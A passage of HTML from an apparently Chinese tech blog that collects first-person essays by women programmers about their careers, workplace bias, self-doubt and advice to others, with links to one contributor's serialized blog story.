时刻准备着</h5>\n<p>我：大四在一家叫食草堂的公司做网络管理及网店运营，但基本用不到专业知识。毕业后男朋友坚持不让我再随便找工作，他一个人挣钱并供我去学习java语言，学习了8个月找到了一份做ip网管软件的公司，男友在一家培训机构做教师，后来渐渐觉得不快乐不充实，被封闭在这样的空间内，不能去接触新技术新人，视野渐渐狭窄。于是我们一起辞职从天津来到了杭州，只面试了一家就来上班了，当时觉得自己能力有限，不应该是我挑工作。。。在这里做手机阅读网站，接触不到数据库，我们负责的是中间层，将数据从接口取出展示在页面上，由于我工作积极主动活泼开朗，喜爱解决疑难杂症，又爱组织这个那个的，PM将我提升为开发组负责人，但是转眼一年多过去了，我并没有觉得有成就感，相反觉得自己在技术上一事无成、在管理上又不专业，不想走管理的道路。这一年来我和男友去上海参加了几次技术大会，每回回来都会热血沸腾，我工作很忙又懒惰，导致技术水平一直无法提高，很多书都没看。每天都有强烈的自责感，但又觉得没有学不会的东西，所以就无法放弃。也因为自己对技术能力表示质疑，不敢去大的公司应聘，导致现在总是时刻准备着。。。</p>\n<p>回想这些年，我心中所树立的理想、信念，我对it行业的向往、甚至我现在的自责感，都和男友对我的影响有关，他的眼界和思考能力要远高于我认识的人，所以有时候我想我的某些思想是依赖于他的更新而更新的。是那种容易被别人感化的人。</p>\n<p>说说其他的女程序员吧，她们之前的人生经历我不说了，就聊一聊我认识的几种女生在工作上的类型吧。</p>\n<p>我的同事A：刚毕业没多久的小女生，我每天从男友那里或者我自己这里获得的最新新闻和哲理我都会讲给她听，她认真听，回去也看书，每次都会骄傲的对我说又看完一本了，但技术始终上不来，这大概是那种应试教育下的女生代表类型，就像我们计算机系当年得前三名的女生一样，在实际工作后比不上倒数几名的男生。</p>\n<p>我的同事B：已经做妈妈了，工作出色，考虑事情全面，只是她的生活完全和世界脱轨，新事物几乎不接触，新技术也是，但是如果工作用到她会积极去学，并且能把工作做好，对未来没有规划，过好日子就行。</p>\n<p>我的同事C：毕业时是C的佼佼者，毕业后一年多就落后了，被爱情和无聊的日子所累，也总是自责，但找不到学习的方向。</p>\n<p>看过这么多女程序员的状态，对于自身没有坚定信念和方向的我们来说，我觉得工作环境真的很重要，每天身边是什么人在交流，是什么人在一起工作，团队氛围如何，都会潜移默化影响着每个人，自身的努力和态度也固然不可忽视。</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">冰 &#8211; coding是我们的共同语言</h5>\n<p>昨天见到了你的关于女程序员的征文，也趁着年末，给个小小的回顾自己吧。也算不上什么经验，只是谈下个人经历感受。</p>\n<p>上大学第一天就知道，班里面只有4个女生，但也并没有任何特殊优厚待遇，一般开什么班会，都是女生迁就男生，大老远跑他们那边去开会，常感受到的是，特别容易被老师或同学质疑，这个是你做的吗？你完成上机实验了吗？要独立完成等等。。。</p>\n<p>印象比较深刻的是，有一次，电脑坏了，找男生修，结果他说身为计算机专业的女生，连个都不会，在以后的日子里，我就没有再去麻烦过他，也许他们是那些所谓的Geek，但我理解不了这份傲慢，牛人多的去，尤其在我现在工作的公司，一位资深架构师，不论问题大小，都会给你很好的解答，并进一步发散问题，每次聊天都受益匪浅。当然这些也只是少数，大学里面是最好的学习环境，而且很奇怪地，我发现，学习好的女生，都是在一个宿舍，而不学无术的，又会在一个宿舍，工作以后，大半都没有再从事计算机方面的工作了，要么考个公务员，要么做个辅导员，或去个银行什么的。同生同是，一个宿舍里，好像就是一场编程的竞赛，谁更努力，谁更有资本炫，也许这是学习的动力。</p>\n<p>说下出来毕业出来找工作，当时确实茫然，展望整个专业，本来就女生不多，还有大半都去考研考公务员等等的，觉得自己出路在哪啊，男生这么优秀，你凭什么跟他们一拼高下，一次又一次的经历招聘会的沮丧，信心都快打击光了。后来，收到了第一个offer，就马上把自己卖了，这也是我的第一份工作，我是09年毕业的，当年市场确实也不怎么景气，有好些同学，都是在年末才找到工作，甚至先去上了个什么一万多的达内啊青鸟啊之类的软件培训课程。</p>\n<p>上班之后，也没多好受，原来老大当初把我招进来，有一个原因是想解决下公司内部单身男士的需求，给我的一般是轻活，自然奖金工资总比同进来的男生少（私底下交流过），自问没做得比他们少。值得庆幸的是我跟了一个不错的组长，他会给跟老大提出要求，可以给我安排些挑战性的任务，由于过去一年确实也收获不少，虽然不是在金钱上，一直比别人努力希望能纠正老大眼中的我是花瓶的感觉。</p>\n<p>同时，另一个困扰的问题是，可能女生少的原因，本人有几分姿色，在本部门受不少人追，风言风语不断，给我个人生活不少的精神压力，平时同事也会半开玩笑的说，嫁了吧，写什么代码，而且跟一些比较资深的程序员聊天时，总会呵呵的轻笑，然后说你是程序员啊。。。部门一些杂务，通常都扔了给我处理，这个我觉得吃点亏也没什么大事，但是就是忍受不了那种受轻视的感觉。</p>\n<p>处心积累了一年半，跳离了这个是非之地，目前在工作的公司。终于呼吸到新鲜的空气，现在整个开发团队，只有我一女的，开会什么的我就显得特别突出，办活动或者聚会什么的，总不能太融入他们，他们一帮程序猿，辟酒通宵桌游聊天，我总不能也凑上去喝个烂醉吧，活动吧，他们篮球啊足球啊，我根本掺和不上，剩下的就是大家吃个饭，感情上总是欠缺一些，但是他们都很照顾我和接纳我，也教会我了用很多的工具，大家总以邮件形式来分享代码中遇到的抽疯问题，白痴陷阱，即使错了也没关系，反正就是可拍砖可嘉奖，气氛相当的学习火热型。</p>\n<p>另外一样是，coding我们可能有共同语言，但退下工作后，基本上，跟一群男程序猿聊一起很难话题不多，偶尔遇到一两个话多一些风趣一些，其他都是木纳得很；而作为女性，当然会爱逛街爱八卦爱打扮，但同学已经各散东西，同事中没几个女的，生活已经没有几个女伴一起做女生爱做的事，而且，上班时，我总是小心翼翼不能穿得太性感，不打扮，怕会遭人闲语。</p>\n<p>呵呵。本文就一啰嗦。莫见怪。</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">Maya Maya &#8211; “左手代码，右手诗”</h5>\n<p>从小我喜欢画画，喜欢文学，上大学的时候，听了家人的意见，报了计算机，从此理想和现实分开。我大学毕业已经10多年了，当年毕业进了高校当老师，两年后为了爱情放弃舒适的生活来到北京北漂，对计算机不是那么爱好，开始做测试，后来转作网站开发，和互联网结下了不解之缘。互联网是节奏很快的公司，虽然自己年纪大了，可是和年轻人在一起，觉得自己心态还很年轻，哈哈~</p>\n<p>说起做技术，也是满腹心酸，刚到北京，一个小公司，老板不懂，今天说给我开发一个无纸办公室软件，明天那个，那个时候晚上下班累的洗脚时躺着就睡着了。可是自己没有放弃，逐渐喜欢上了技术，后来去了一家公司，有个大师级人物，虽然大家都说他性格古怪，可我和他相处很好，他算是我一个师傅，和他2年多，自己技术提高了不少，做技术的兴趣也多了很多。最苦的时候加班两个通宵，除了公司坐上出租车就睡着了，但是心里很充实很开心。</p>\n<p>女人做技术最怕就是世俗的偏见，尤其是过了30，生了孩子，明显感觉出来了，职业瓶颈。不少人劝我找个轻松的工作，可是我还是没有放弃，还在坚持，不是为了为了养家糊口，为了自己的心愿吧。我做事喜欢亲力亲为，每次招聘约小孩面试，他们都问我，你是助理吗？面试结束，小孩们又说，女的做技术很少的，做技术的女领导应该很严格吧。其实对于别人的任何看法，我从来都是笑笑不语，我带团队，总是希望新人能在我这里学到东西，走的时候能上一个更高的台阶，因人而异给他们提供机会。互联网发展快，我自己也要学习，不然就跟不上，我每天很早来公司，晚上也走得相对晚些，下班了才有自己时间看点东西，上班琐事太多。顾了公司顾不了家庭，回家是孩子睡了，老公一脸的不高兴，生活或许如此，不能尽善尽美。任何事情都有游戏规则，既然选择就要遵守。</p>\n<p>互联网的泡沫其实很多，我经常给刚毕业学生说，30岁之前不要看钱，而是给自己长本事，积攒资历。发现在线小孩浮躁的很多，很难静下心来认真做一件事情，总是看着别人的薪水多高，看别人的收获，却没看到别人背后的付出。</p>\n<p>程序员给人感觉都很闷，可是我喜欢读小说，红楼梦最爱，很喜欢惠新宸的那句话：“左手代码，右手诗。”</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">Joyic &#8211; 只要努力，一切皆有可能</h5>\n<p>看过“一个女程序员的故事”这篇文章，很有感触。我是2010年的硕士毕业生，也是个女生，和故事中的女主角比起来，我的故事其实才刚刚开始。或许平淡，但希望能给即将找工作，还在徘徊和犹豫的学弟学妹们一些鼓舞。</p>\n<p>经历的小学和初中的辉煌，经历了高中的低潮，我进入了一所211本科，不是985，一所不上不下的大学，专业是信息管理与信息系统。这个计算机相关专业让我接触到了C语言，数据结构，Java，Web编程以及数据库，我发现自己从来没对哪些课程有如此大的热情，这些热情带给我的动力以及对知识的渴望，换来的不仅仅是优异的成绩，最重要的，让我拾回了高中三年几乎丧失殆尽的信心，我又开始相信自己。</p>\n<p>转眼大四，与保研失之交臂，考研又没能进入理想的学校。又一次进入了一所不上不下的211学校，一切似乎又回到了原点，这次的专业是软件工程。不幸中的万幸，我还没离开自己喜欢的专业。研二的上半年，我得到了导师的一个横向项目，给四川的某出版社分社做一个信息管理系统。这是我得到的第一个锻炼机会，用的是最简单的jsp+servlet技术，系统结构不复杂但内容很庞大（就一个dev来说），我一个人硬着头皮码了十几万行的代码，需求、开发、安装、调试、培训一个人从头干到尾，中间多少次我都觉得自己做不了了，要放弃了，这个功能我完不成了，没时间了，咬咬牙，全过来了。现在想想，这个系统错露百出，但它使我完成了从无到有的涅槃，不再是看看书，写个百十来行的练习，是真正做出来个东西。</p>\n<p>完成了这个项目，对自己的信心又增强了。我有了下一个目标，找个实习，去IBM试试！</p>\n<p>以我所在的学校，能拿到IBM实习offer的人凤毛翎角。“应届生”网站上随时会有IBM招intern的消息，我的简历因为有了刚刚做过的这个项目，基本都能得到电话面试的机会。当时我的知识面还很窄，加上没有为面试好好复习过基础知识，屡试屡败，有时拿到面试也是铩羽而归。“WSDL是什么？”，“你对SOAP有什么了解？”，“设计模式你熟悉么？”，“解释一下Spring的依赖注入”一次次的失败也指引了我学习的方向。不会我就学么。至少面了5个team，我终于拿到了IBM的offer，当上了intern！现在想想，这个时刻带给我的喜悦甚至超过了我毕业真正找到工作的时候。我再一次给自己画了一条遥不可及的线，再一次把自己扔了过去。</p>\n<p>实习了不到一年，让我学到了很多，也适应的外企的工作环境。开始真正的找工作了。有学校的项目和IBM实习经历，我的简历更加丰满，加上自己经历多次intern的面试，积累了一些面试经验，很顺利的，我拿到了Oracle，IBM和我现在公司的Offer。</p>\n<p>工作到现在工作一年多了，有过一次promote，也得到了一次出国培训的机会。真正的工作中，我的技术和工作过3、5年的同事尚有差距，我把很大一部分精力放在了解业务上，通读了产品所有的design文档，对架构及所有workflow了然于心，专挑一些别人不愿碰的硬骨头，亦因此建立起自己在team中的reputation。</p>\n<p>最后，我想说，我身边也有在学校的时候就能写出操作系统的牛人，我也是无比尊敬和仰慕着他们。作为一个热爱着编程又天赋一般的普通人，没有清华北大北航北邮…的好出身，也没有根红苗正的计算机科学与技术专业背景，一步步的走过，被兴趣爱好还有自己的执着指引至今。</p>\n<p>给向往着大公司的学弟学妹们，可能你的学校使你没有运气在面试的时候发现面试官刚好是自己的师兄师姐，但只要努力，一切皆有可能。</p>\n<p>给我的老师和帮助过我的同事，你们引领我一步步走进了这个行业。</p>\n<p>还有我相伴7年的男友，我还记得大学的时候我们打电话时讨论技术，宿舍姐妹们看我的眼神儿。哈哈哈。</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">叨叨 &#8211; 为了忘却的纪念-我在恒生的七年</h5>\n<p><strong>叨叨的博客</strong><br />\n<a href=\"http://blog.sina.com.cn/u/1892569084\" target=\"_blank\"> http://blog.sina.com.cn/u/1892569084</a></p>\n<p><span style=\"color: #ff0000;\">强烈建议大家看看这个连载，你一定能从中看到很多东西的</span></p>\n<ul>\n<li><strong>前传 </span></strong><a  href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011h8z.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011h8z.html</a></li>\n<li><strong>初出茅庐（上） </span></strong><a  href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011h93.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011h93.html</a></li>\n<li><strong>初出茅庐（下） </span></strong><a  href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011hs6.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011hs6.html</a></li>\n<li><strong>初露锋芒（上） </span></strong><a  href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011igb.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011igb.html</a></li>\n<li><strong>初露锋芒（下） </span></strong><a  href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011j7z.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011j7z.html</a></li>\n<li><strong>一波三折（上</strong>）</span><a  href=\"http://blog.sina.com.cn/s/blog_70ce4ffc01011jur.html\" target=\"_blank\">http://blog.sina.com.cn/s/blog_70ce4ffc01011jur.html</a></li>\n</ul>\n<p>（本文发布时，这个故事还在继续中……）</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">Kelan &#8211; 在coding和修复bug中享受无限的快乐和价值感</h5>\n<p>我是一名入职不到一年的女程序员，很幸运，能进入一家知名的互联网公司做web开发，用的Java。我记得当时面试的时候，我在技术上毫无优势，公司要用到的很多框架，我都没有使用过，只是听说过，知道一点点概念，但是过了两个技术面，面试官很nice，觉得我有潜力。第三面是HR面，当时HR问我，为什么要做技术，我当时思都没思考就回答：喜欢！我一直很惊异这个答案，也许，那是一个连我都不敢相信的真实的答案。</p>\n<p>我在的team里面，就我一个女生，又是最小的，大家相当照顾我，在工作上给与了我很大的帮助，不得不提的是，我不仅遇到了一个很和谐的团队，还遇到了一个打着灯笼都难找的boss，对于这一点，我觉得也许是上辈子积了德，呵呵呵。也正因为他们对我很好，我在工作上不敢懈怠，我知道我基础很欠缺，我不想因为这个影响到整个团队。我会主动的去学习相关的东西，但是，从前的一些经历，让我对自己很不自信，当我看到同事游刃有余的处理工作，讨论技术，研究业务的时候，我很羡慕，同时也觉得自己很苍白，不知道何时才能和他们一样，同时也很害怕让他们失望。</p>\n<p>很多人都觉得女生就该做像女生的工作，比如hr，比如行政，做技术也可以选测试…我也有过疑惑迷茫的时候，不知道未来的路如何走，也想过自己是不是选对了职业的方向。但我不得不承认，coding和修复bug后给我带来了无限的快乐和价值感，那种感觉很好很好。</p>\n<p>我没有太多的分享工作经验，只是想说说自己的迷茫。我从前一直觉得，要做技术大牛才是技术人员的目标，而技术大牛四个字，我望尘莫及。我很堕落的想过，我可不可以不做技术大牛，我就写我的代码，去实现各种业务流程，做一个平凡的程序员，这样算不算不思进取？我看了你分享的文章后，觉得我的想法也许没有那么不堪，每个人都有选择成为哪种人的权利。既然现在的我喜欢code，那我就写好每天应该写好的code，至于以后，那是以后的事了。</p>\n<p>我觉得，也许很多女程序员和我有相同的困惑，不知道，有谁可以解惑？言语有些乱，因为最近也被这些问题烦扰。但我还是想给自己一个机会，在技术领域，至少五年，如果真的不适合，我放弃，去选择另一种人生；如果相反，呵呵呵，那我真是很幸运，从一开始就选对了路：-）</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">WaterMask &#8211; 踏踏实实的做coder，每天写好每一行代码</h5>\n<p>偶也是个女程序员，看了cool shell上的blog，发现同自己想法一样的人很多，我也想说说自己的事情。（可能会有点长，如果您能读完我会很荣幸，因为一直都是我读你的blog来着么，呵呵~）</p>\n<p>我是09届毕业生，加上实习时间也不过3年不到，所以还是个新手。</p>\n<p>毕业那年正赶上金融危机，就业形势一片糟糕。对于非名牌大学的我来说，简历通常都是石沉大海。身边的同学如果自家有门路的基本都舒舒服服的实习了或者考公务员什么，心里不是没有憋屈的。虽然自己家里也不是一点门路也没有，但是我还是想能靠自己的能力找到工作。（工作到现在我发现，做IT的都不喜欢走后门，大家都靠自己的实力面试工作之类的，恩~所以我更爱这个行当了~）</p>\n<p>我的专业是计算机科学与技术，所以除了程序员，我基本没有想过要做别的职业……不晓得为什么当时我会这么想</p>\n<p>实习的第一家公司是在一家展会公司做网管。公司在市中心的高档办公楼，只有一个hr面试我，没有任何的技术问题。接到录取电话的时候，还是开心极了，因为那时候简历投的基本要发狂了。之后去那边上班才发现受骗了，那家公司其实就只有一个部门——电话销售部门。所有的人每天都是不停的打电话做推销（原来那些成堆成堆卖客户资料的人都是卖给这种公司了……居然还有电话过去找的那人死了好多年的……）。于是我干了没几天就走了。</p>\n<p>沮丧的很，本来以为是难得的实习机会。因为知道自己其实除了计算机系毕业的外，连真正的代码也没有敲过几行，对于自己想干什么能干什么都很模糊。当时甚至觉得如果有一家软件公司肯要我，给我一个学习的平台，我工资也可以不要的……</p>\n<p>之后我认真修改了简历，也去了几家公司面试，不过可能因为技术方面太贫乏，都没有公司有回音。除了再接再厉外，我也没别的方法。正好当时学校里已经没有课了，只剩下毕业设计，于是我有大把的时间出去找工作。</p>\n<p>最后拿到offer的是一家民营公司，专做外包的。（虽然当时我对外包这次词其实不是很理解）我只能说我的运气很好，这家公司的hr是个很nice的姑娘，通过笔试面试之后，她还和我聊了很久，问我为什么非要做程序员之类的，而我也破天荒的说了很多心里的想法。（应届生面试总会事先准备一些问题和答案，有些可能会有点冠冕堂皇）。我记得我跟她说我觉得写程序应该是一件充满想象力和创造力的工作，我喜欢当完成一段代码像完成一件作品一样的成就感。面试完之后，我其实没想过会被录取，只是觉得把心里面的话说出来了，觉得很舒服。过了不久就接到去上班的通知了，心里是非常愉悦的，这次是真正的程序员了！</p>\n<p>开始工作之后才发现了梦想和现实之间的差距。因为是外包公司，所以项目进度非常的紧，而且需求也是三天两头的变。我所在的项目组一共5个人，却有6个项目在同是开工，其中3个人事项目经理。不过那时候的我没想那么多，加班就加班呗，我觉得是自己学习的机会。因为我是项目组里唯一的女生，所以大家都非常的照顾我。在写代码的过程中有遇到什么问题，基本都会抽时间帮我解决。有时候我怕会打扰别人就到网上搜搜解决办法，看看文档。每次靠自己解决问题之后，都会很有满足感。我觉得我所有的代码知识几乎都来源于实践，有点现学现卖的。</p>\n<p>在工作了一年之后，我甚至觉得自己进步的很快。因为有同事跳槽的关系，项目组里缺人，我居然开始一个人负责一个项目。天啊，我觉得自己太伟大了！是个网上办事的电子平台的OA项目，还有一些杂七杂八的附带功能，视频、聊天、发短信什么……面向的客户是政府机构，使用的人员基本也都是事业单位或者是公务员。（这就不难理解为啥要那些杂七杂八的功能……）</p>\n<p>我接受这个项目的时候已经是中后期，从跟客户需求沟通，到代码，到测试，到现场实施，到后期维护……几乎就是我一个人在做。其中的苦辣酸甜也就不谈了，常常被客户骂的饭也吃不下。我就这么浑浑噩噩的又干了半年左右，每天都是白天接到客户的需求变更或者使用的bug（测试也是我自己做的……所以bug非常多）下午代码，晚上就跑到客户机房去调试补环境……</p>\n<p>通过这样的长期反复，我开始思考自己一开始的初衷，我为什么要做程序员？我每天都要花很多的时间去理解和分析客户的需求，然后想尽办法修改我的代码，我的代码几经修改已经面目全非，已经没有任何代码质量和运行效率的考虑，纯粹只是为了实现功能而功能。由于工作时间的增加，我也看到了身边很多其他同事的工作状态，除了那些和我一样埋头苦干的所谓项目负责人外，其他的人都善于跟客户周旋，用一些看似很专业的辞藻去推脱用户提出的各种要求，实在推不了的，才勉为其难的答应下来。</p>\n<p>诚然，当公司把这个项目交给我的时候，我是充满热情的。但是现在，我终于清醒了。我想这不是我要的工作，我还只是一个刚刚毕业的本科生，不能夜郎自大的认为自己已经可以独挡一面。我根本不懂项目架构，不懂项目管理（虽然也木有人给我管理……），不懂得如何消化来自客户的需求并从中取舍（并不是客户所有的意见都要接受，这是我通过身体力行才了解到的……），我的能力仅仅停留在知其然而不知其所以然，我只能实现一个功能，但不知道怎样优化这个实现。所以我想，我应该去一个能教会我这些东西的地方</p>\n<p>2011年初的时候，我离开了原来的公司，到现在的公司上班。公司只有30多个人，研发部10人，测试部10人，剩下的有行政和销售。这是一家做产品的公司，产品主要涉及网络运维管理，安全策略啥的。公司非常注重产品质量，对于每次产品升级而变更的代码都会做code review，写的不好的地方就要改。也有详细的项目管理流程，项目经理会合理安排每一个时间节点的工作任务。在这样的环境下，对我的帮助是巨大的。</p>\n<p>一切都要重头开始学，我第一次写python因为之前一直习惯的分号结果而郁闷不已，第一次用vi编辑代码，折腾了大半天才码出了一段代码，小心奕奕的保存好……现在回头想想都觉得很有意思</p>\n<p>我也想过今后要往什么方向发展，是一直做技术？还是做管理？做前期需求？</p>\n<p>以前总以为做IT，就是写代码。但当自己干了这些日子，才明白软件工程的每一个环节都是非常重要的，程序员只是其中的一个环节。但是无论今后自己要转什么方向，程序员的经验一定会为我在IT行业打下坚实的烙印。</p>\n<p>我坚信一个不会写代码的管理者，一定不是一个优秀的管理者。</p>\n<p>IT行业和别的行业很大的不同是人。IT都很喜欢分享，只要肯问或者寻求帮助，就算对方不是很懂，也会非常乐意帮助我解决。我觉得这样的氛围很好，互帮互助，共同进步。这个是我在别的行当很少看到的。我有很多同学都会跟我抱怨她们办公室里错综复杂的人际关系，每天听到那些事情，我都会庆幸自己从未遇到过。</p>\n<p>所以我想，我现在非常喜欢自己的职业，喜欢自己的行当，我就踏踏实实的做好我的工作。我就是一个简单的coder，每天写好每一行代码就好。至于今后的发展，今后的职业规划也不用想的太细。既然我要一直混迹于IT这个行业，那么多做几年程序员不也挺好。顶着程序员这个头衔，我就需要不断的学习，不断的接触新鲜的知识，让自己不会落后。</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">禾禾木木 &#8211; 女程序员的路可以很长</h5>\n<p>简要的说下自己，本科调档不幸进入计算机行业，于是开始了跟计算机，跟开发的纠结。本科在一个很差很封闭的学校，就死学了，只会考试，实践的东西基本没有~考研上 了一个挺好的学校，可是因为一些原因只读了个跟计算机相关的专业，自己接了几个活做学院网站什么的，网站虽然基本是自己前端后端一个人忙乎乎地整起来的， 但是质量很差，重复的代码很多，现在想想，太恐怖了，那时候就知道，功能实现就ok了。现在很后悔在学校的时候，在思维最活跃的时候没有错接触点新的东西。</p>\n<p>毕业。来上海，在一家外资民企工作至今。</p>\n<p>之前在学校里女生很好，特别计算机这块的，女孩子真的是宝，受着宠。工作了就不一样了。虽然男人帮们还是很帮助女孩子的，但是，毕竟工作是靠绩效靠能力来权衡的，尤其是技术领域。按照你完成的事情多少和能力强弱来决定关注度的，虽然大家感情都不错，但是我还是能明显地感觉出来，因为自己能力比同组的男同胞差，老大不太敢把重要的事情给我做，承担不了重要的事情，在关注度，升职加薪等 等上面就打了很多折扣。</p>\n<p>为什么会坚持下来呢？因为喜欢这个行业，也因为自己学的是这个，也因为自己小小的虚荣心，因为一般大家听说女程序员都觉得是很牛的，似乎女孩子加上了这个职业就有个光环在头上，只是我的一个想法，不知道大家有没有这么想过~还有，这个职业对我来说还是蛮有吸引力的，我也喜欢做这些事情，虽然进步不快，但是看着自己整出来的东西大家玩的开心，自己也很开心。</p>\n<p>我虽然每天笑嘻嘻的，其实自己知道自己有多么辛苦。想写精致点的代码，重构，可是没有太多的时间，工作任务还是很重的，强度也大，基本上每个晚上到八九点走。要学习很多新的东西，我脑子还反应很慢，很多时候老大给同组的人讲的东西，可能大家马上就会了，可是我还是没听懂，老大会很无奈，我会记下来，有时间就去看。有时候会去关注下招聘的事情，不是为了跳槽，而是看看需要什么样的人，看到很多要求有开源代码经验的，在github上面整了代码的，我也会去关注，以后计划着自己整个人的网站，写技术文章，多交流。我还是很有热情和很负责的一个人，为了赶进度，周末两天都可以放工作进去，把上淘宝的时间都用来看新的东西了，逛街，基本一两个月去一次的。即便如此，老大从我们一个组走过，还是只会关心那些写代码写得好，事情做得好的人。虽然会很难过，但是我还是挺下来了。告诉自己说，既然坚持了这个行业，就开开心心地走下去，看看自己跟别人有什么不足，为什么会有差距，弥补弥补。这么坚持下来，虽然我还是没有同组的人进步快，但相比刚开始工作的时候，什么东西都不知道，还不知道该怎么去学，怎么去把程序写好，已经好了不知道多少倍。我也会去参加一些会议，去关注一些小组，在女孩子看韩剧的那些时间了，可能我关注的是一些技术的博客论坛等等，这么样，也增加了自己的见识等。我不敢说我现在是有多么强，至少，在我周围的认识的女孩子转行，退避的时候我坚持了下来，算是女孩子中不错的吧。</p>\n<p>觉得女孩子跟男孩子差别并不大。可能他们真的思维会不一样，劳动强度能更承担些，但是，其他的应该都还好。我有个朋友，也是女孩子在做开发，长得很漂亮，她 说她经常碰到了问题，一大帮男的会过来帮忙，依赖心很强。我觉得依赖心强的女孩子做不好开发的，男孩子做得好开发，是因为他们喜欢自己专研，依赖别人了会 被人瞧不起，但是如果是女生，基本上还是有求必应的，所以，很多时候做不好，是因为自己还不在悬崖边，还有很多绳子牵着，虽然不至于让自己摔死，但是也被 绊住了，前进不了。还有，我自己的观察，长时间的专注和精益求精也是写好程序的关键。我自己最缺乏的就是长时间的专注，于是在找bug，看源码方面就欠缺 了很多，不能深入进去，要有在茫茫多的代码中调试的那种心境，一点点地挖掘到底是哪里出问题了，哪里影响效率了，哪里内存泄露了，一点点地试验等，能力就 提高了。精益求精才能写出好的代码出来，我也是受着周围男人帮的影响，从马大哈，从写完了程序就想玩想放手变成了事关审视代码，看哪里能够重构，哪里能够 抽象，去掉重复等，代码才能写得好。</p>\n<p>曾经一度，自己也很喜欢抱怨，抱怨自己怎么就没有别人进步那么快，就得不到重视，还这么辛苦，想走人，那段时间也就是我自己觉得最虚度，最没有成效的时间。现在想想，与其这样，还不如拿出时间来好好做好自己的事情，如果真的承受不下去了，觉得自己真的不适合做这个行业了，那么就转吧。我看到过一些女孩子，做程序做得很轻松，她们很聪慧，或者很有方法，我不是这种人，在这里我想鼓励那些不是 天才的女孩子们，如果你在做开发这个行业，如果你喜欢这个，那么坚持自己吧~</p>\n<p>有人会说，做IT的女孩子，老得快。其实我觉得这说法也不全对。我周围也有些长得很漂亮，打扮得也很好，生活各方面都维持得很不错的女开发人员。很久以前看过有女孩子一边写着程序一边吃着芦荟啊，抹着各种护肤品，我们也可以做做瑜伽啊，平时煮点汤给自己补补脑子什么的，周末不宅着，去锻炼锻炼身体，虽然可能没那么多时间去逛街，但是也可以抽个空给自 己买些好看的衣服来让自己开心点。写程序的女孩子也是女孩子嘛。</p>\n<p>我没有讨论更多的技术方面的东西，我觉得工作态度，人生态度是很首要的。有个开心乐观的心境，加上好的方法和总结，我觉得，女孩子走程序员道路还是能走很长久的，也能做得很好。共勉。</p>\n</div>\n<div style=\"font-family: 'Microsoft YaHei'; font-size: 13px; background-color: #fafafa; border: solid 1px #EEE; margin: 4px 5px 4px 30px; padding: 0px 10px 0px 10px; border-radius: 10px; box-shadow: inset 0 0 4px rgba(0,0,0,0.5);\">\n<h5 style=\"font-size: 15px; margin: 5px 0px; border-bottom: solid 1px #CCC;\">Bana &#8211; 我是一名女程序员 